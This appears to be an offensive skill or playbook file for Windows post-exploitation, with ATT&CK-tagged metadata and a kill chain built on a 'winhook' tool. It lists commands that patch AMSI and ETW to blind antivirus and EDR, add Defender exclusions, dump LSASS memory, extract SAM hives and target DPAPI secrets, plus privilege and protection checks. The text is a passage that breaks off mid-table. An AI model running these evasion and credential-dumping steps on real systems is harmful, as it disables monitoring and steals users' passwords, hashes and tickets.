| name | windows-postexploit |
| description | Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations |
| category | post-exploitation |
| tags | ["windows","post-exploitation","credential-access","defense-evasion","lsass","dpapi","etw","amsi","sam","keylogging"] |
| tech_stack | ["windows","powershell","add-type-csharp"] |
| cwe_ids | ["CWE-269","CWE-522","CWE-693","CWE-312"] |
| chains_with | ["T1003","T1003.001","T1003.002","T1056.001","T1059.001","T1562.001","T1562.006","T1070.001","T1555","T1555.003"] |
| prerequisites | ["T1068","T1548.002"] |
| version | 1.0 |
Windows Post-Exploitation Methodology
Windows post-exploitation uses userland APIs (no kernel driver signing needed) for credential harvesting, monitoring, and stealth. After gaining Administrator access on a Windows target, these tools provide comprehensive credential extraction and operational security capabilities.
Prerequisites
Before deploying winhook tools, verify:
- Administrator access — most operations require elevated privileges
- OS version — Windows 10/11 or Server 2016+ for ETW features
- PowerShell — available natively on all modern Windows (all tools use PowerShell + Add-Type C#, no Python needed)
- AV/EDR status — run
amsi_bypass and etw_blind first if Defender/EDR is active
# Quick prerequisite check
whoami /priv # verify SeDebugPrivilege
Get-MpComputerStatus | Select RealTimeProtectionEnabled # Defender status
Get-Process lsass # verify LSASS accessible
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL # PPL status
Kill Chain Phases
Phase 1 — AV/EDR Evasion (First priority)
Neutralize monitoring before performing credential operations.
| Action | Command | Purpose |
|---|
| Bypass AMSI | winhook amsi_bypass | Patch AmsiScanBuffer to allow undetected PowerShell execution |
| Blind ETW | winhook etw_blind | Patch EtwEventWrite to prevent EDR from receiving telemetry |
| Exclude paths | winhook defender_exclude --path C:\Tools | Add Defender exclusion for tool staging directory |
Phase 2 — Credential Harvesting
Extract credentials from multiple sources.
| Action | Command | Purpose |
|---|
| LSASS dump | winhook lsass_dump | Dump LSASS memory for NTLM hashes, Kerberos tickets, plaintext passwords |
| SAM extraction | winhook sam_dump | Extract registry hives for offline cracking with secretsdump/hashcat |
| DPAPI secrets |
